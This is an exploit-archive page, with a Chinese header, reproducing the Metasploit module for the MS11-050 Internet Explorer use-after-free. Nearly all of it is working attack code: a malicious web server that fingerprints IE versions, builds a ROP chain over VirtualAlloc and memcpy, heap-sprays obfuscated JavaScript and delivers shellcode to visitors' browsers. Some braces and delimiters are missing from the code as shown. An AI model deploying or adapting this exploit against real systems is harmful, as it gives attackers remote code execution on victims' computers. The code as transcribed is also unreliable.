发布 2011-06-17 漏洞条目

Microsoft Internet Explorer – MSHTML!CObjectElement Use-After-Free (MS11-050) (Metasploit)

Exploit Source

# $Id: ms11_050_mshtml_cobjectelement.rb 12962 2011-06-17 01:56:20Z swtornio $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:ua_name => HttpClients::IE,

:ua_minver => "7.0",

:ua_maxver => "8.0",

:javascript => true,

:os_name => OperatingSystems::WINDOWS,

:vuln_test => nil,

})

def initialize(info={})

super(update_info(info,

'Name' => "MS11-050 IE mshtml!CObjectElement Use After Free",

'Description' => %q{

This module exploits a use-after-free vulnerability in Internet Explorer. The

vulnerability occurs when an invalid <object> tag exists and other elements overlap/cover

where the object tag should be when rendered (due to their styles/positioning). The

mshtml!CObjectElement is then freed from memory because it is invalid. However, the

mshtml!CDisplay object for the page continues to keep a reference to the freed <object> and

attempts to call a function on it, leading to the use-after-free.

'License' => MSF_LICENSE,

'Version' => "$Revision: 12962 $",

'Author' =>

[

'd0c_s4vage',

'References' =>

[

['CVE', '2011-1256'],

['OSVDB', '72948'],

['MSB', 'MS11-050'],

['URL', 'http://d0cs4vage.blogspot.com/2011/06/insecticides-dont-kill-bugs-patch.html'],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'InitialAutoRunScript' => 'migrate -f',

'Payload' =>

{

'Space' => 500,

'BadChars' => "\x00\x09\x0a\x0d'\\",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets' =>

[

[ 'Automatic', { } ],

# In IE6 the mshtml!CObjectElement size is 0xac

[

'Win XP SP3 Internet Explorer 7', # 7.0.5730.13

{

# sizeof(mshtml!CObjectElement)

'FreedObjSize' => 0xb0,

'FakeObjCount' => 0x4000,

'FakeObjCountKeep' => 0x2000,

'ForLoopNumObjects' => 3,

'FreedObjOverwritePointer'=>0x0c0c0c0c,

'FreedObjOffsetAlignSize'=>0,

'ROP' => false,

}

[

'Win XP SP3 Internet Explorer 8 (no DEP)', # 8.0.6001.18702

{

# sizeof(mshtml!CObjectElement)

'FreedObjSize' => 0xe0, # 0xdc rounded up

'FakeObjCount' => 0x8000,

'FakeObjCountKeep' => 0x3000,

'ForLoopNumObjects' => 5,

'FreedObjOverwritePointer'=>0x0c0c0c0c,

'FreedObjOffsetAlignSize'=>0,

'ROP' => false,

}

[

'Win XP SP3 Internet Explorer 8',

{

'FreedObjSize' => 0xe0, # 0xdc rounded up

'FakeObjCount' => 0x8000,

'FakeObjCountKeep' => 0x3000,

'ForLoopNumObjects' => 5,

'FreedObjOverwritePointer'=>0x0c0c0c0c,

'FreedObjOffsetAlignSize'=>2,

#'StackPivot'=>0x773E3F18, # xchg eax,esp / ret - comctl32.dll

'StackPivot' => 0x7E45F257, #xchg eax,esp - USER32.dll

'ROP' => true,

}

[

'Debug Target (Crash)', {}

'DisclosureDate' => "Jun 16 2011",

'DefaultTarget' => 0))

end

def auto_target(cli, request)

agent = request.headers['User-Agent']

if agent =~ /MSIE 8\.0/

mytarget = targets[3] # IE 8

elsif agent =~ /MSIE 7\.0/

mytarget = targets[1]

else

print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")

end

mytarget

end

# 3/22/2011

# fully patched x32 WinXP SP3, IE 8.0.6001.18702

def winxp_sp3_rva

{

#"kernel32!VirtualAlloc" => 0x7c809af1,

"kernel32!VirtualAlloc" => 0x7c809ae1,

"ntdll!memcpy" => 0x7c901db3,

}

end

def compile_rop(rop_stack)

rva = winxp_sp3_rva()

num_random = 0

rop_stack.map do |rop_val|

case rop_val

when String

if rop_val == "random"

# useful for debugging

# num_random += 1

# 0xaabbcc00 + num_random

rand(0xffffffff)

else

raise RuntimeError, "Unable to locate key: #{rop_val.inspect}" unless rva[rop_val]

rva[rop_val]

end

when Integer

rop_val

else

raise RuntimeError, "unknown rop_val: #{rop_val.inspect}, #{rop_val.class}"

end

end.pack("V*")

end

def on_request_uri(cli, request)

mytarget = target

if target.name == 'Automatic'

mytarget = auto_target(cli, request)

unless mytarget

send_not_found(cli)

return

end

@mytarget = mytarget

@debug = true if mytarget == targets[4]

return if ((p = regenerate_payload(cli)) == nil)

id_name = rand_text_alpha(5)

dir_name = rand_text_alpha(3)

if @debug

data = <<-DATA

<html>

<body>

document.body.innerHTML += "<object align='right' hspace='1000' width='1000'></object>";

document.body.innerHTML += "<a id='#{id_name}' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' ></a>";

document.body.innerHTML += "AAAAAAA";

document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='#{dir_name}'></strong>";

</script>

</body>

</html>

DATA

print_status("Triggering #{self.name} vulnerability at #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")

send_response(cli, data, { 'Content-Type' => 'text/html' })

return

end

raw_shellcode = payload.encoded

shellcode = Rex::Text.to_unescape(raw_shellcode, Rex::Arch.endian(mytarget.arch))

spray = nil

rop_shellcode_spray = nil

obj_overwrite_ptr = [@mytarget['FreedObjOverwritePointer']].pack("V")

if @mytarget['ROP']

rop_stack = []

0x1f.times do |i|

rop_stack << "random"

end

idx = -1

idx += 1 ; rop_stack[idx] = "kernel32!VirtualAlloc" # 1:

idx += 1 ; rop_stack[idx] = "ntdll!memcpy" # 2:ret 10 to this after VirtualAlloc

idx += 1 ; rop_stack[idx] = 0x7f000000 # 1:VirtualAlloc:lpAddress

idx += 1 ; rop_stack[idx] = 0x4000 # 1:VirtualAlloc:dwSize

idx += 1 ; rop_stack[idx] = (0x1000 | 0x2000) # 1:VirtualAlloc:flAllocationType MEM_COMMIT | MEM_RESERVE

idx += 1 ; rop_stack[idx] = 0x40 # 1:VirtualAlloc:flProtect rwx

idx += 1 ; rop_stack[idx] = 0x7f001000 # 3:into this after memcpy

idx += 1 ; rop_stack[idx] = 0x7f001000 # 2:memcpy:dst

idx += 1 ; rop_stack[idx] = 0x23000100 # 2:memcpy:src

idx += 1 ; rop_stack[idx] = 0x2fff # 2:memcpy:size

# align the rest of it

back = rop_stack.slice!((rop_stack.length-1)-2, rop_stack.length)

rop_stack = back + rop_stack

rop_stack << @mytarget['StackPivot']

# align the stack for 0c0c0c0c

front = rop_stack.slice!(0, 19)

rop_stack = rop_stack + front

# resolve strings in the rop_stack array (kernel32!VirtualAlloc, random, etc)

rop = compile_rop(rop_stack)

nops = make_nops(0x1000 - raw_shellcode.length)

nops = Rex::Text.to_unescape(nops, Rex::Arch.endian(mytarget.arch))

#spray up to 0x23000000

rop_shellcode_spray = <<-JS

var shellcode = unescape("#{shellcode}");

var nops = unescape("#{nops}");

while(nops.length < 0x1000) nops += nops;

var shell_heapblock = nops.substring(0, 0x800-shellcode.length) + shellcode;

while(shell_heapblock.length < 0x40000) shell_heapblock += shell_heapblock;

var shell_finalspray = shell_heapblock.substring(0, (0x20000-6)/2);

for(var shell_counter = 0; shell_counter < 0x1000; shell_counter++) { heap_obj.alloc(shell_finalspray); }

spray = rop

shellcode = ""

else

spray = obj_overwrite_ptr

end

spray = Rex::Text.to_unescape(spray, Rex::Arch.endian(mytarget.arch))

js = <<-JS

heap_obj = new heapLib.ie(0x20000);

var heapspray = unescape("#{spray}");

while(heapspray.length < 0x1000) heapspray += heapspray;

var shellcode = unescape("#{shellcode}");

var heapblock = heapspray.substring(0, (0x800-shellcode.length)) + shellcode;

var offset = #{[targets[1], targets[2]].include?(@mytarget) ? "0x400" : "0"};

var front = heapblock.substring(0, offset);

var end = heapblock.substring(offset);

heapblock = end + front;

while(heapblock.length < 0x20000) heapblock += heapblock;

finalspray = heapblock.substring(0, (0x10000-6)/2);

for(var counter1 = 0; counter1 < 0x1000; counter1++) { heap_obj.alloc(finalspray); }

#{rop_shellcode_spray}

var obj_overwrite = unescape("#{Rex::Text.to_unescape(obj_overwrite_ptr, Rex::Arch.endian(mytarget.arch))}");

while(obj_overwrite.length < #{@mytarget['FreedObjSize']}) { obj_overwrite += obj_overwrite; }

obj_overwrite = obj_overwrite.slice(0, (#{@mytarget['FreedObjSize']}-6)/2);

for(var num_objs_counter = 0; num_objs_counter < #{@mytarget['ForLoopNumObjects']}; num_objs_counter++) {

document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";

}

for(var counter4 = 0; counter4 < #{@mytarget['FakeObjCountKeep']}; counter4++) { heap_obj.alloc(obj_overwrite, "keepme1"); }

for(var counter5 = 0; counter5 < #{@mytarget['FakeObjCountKeep']}; counter5++) { heap_obj.alloc(obj_overwrite, "keepme2"); }

document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";

document.body.innerHTML += "AAAA";

document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";

js = heaplib(js)

js = ::Rex::Exploitation::JSObfu.new(js)

js.obfuscate

html = <<-HTML

<html>

<body>

#{js}

</script>

</body>

</html>

HTML

print_status("Sending exploit for #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")

send_response(cli, html, {'Content-Type'=>'text/html'})

end

作者: Metasploit
日期: 2011-06-17
类别: remote
平台: windows

相关漏洞条目

strongSwan 5.9.13 – libsimaka EAP-SIM/AKA heap buffer overflow

Wing FTP Server 8.1.3 – Authenticated Remote Code Execution

Microsoft – NTLMv2 Hash Capture

telnetd 2.7 – Buffer Overflow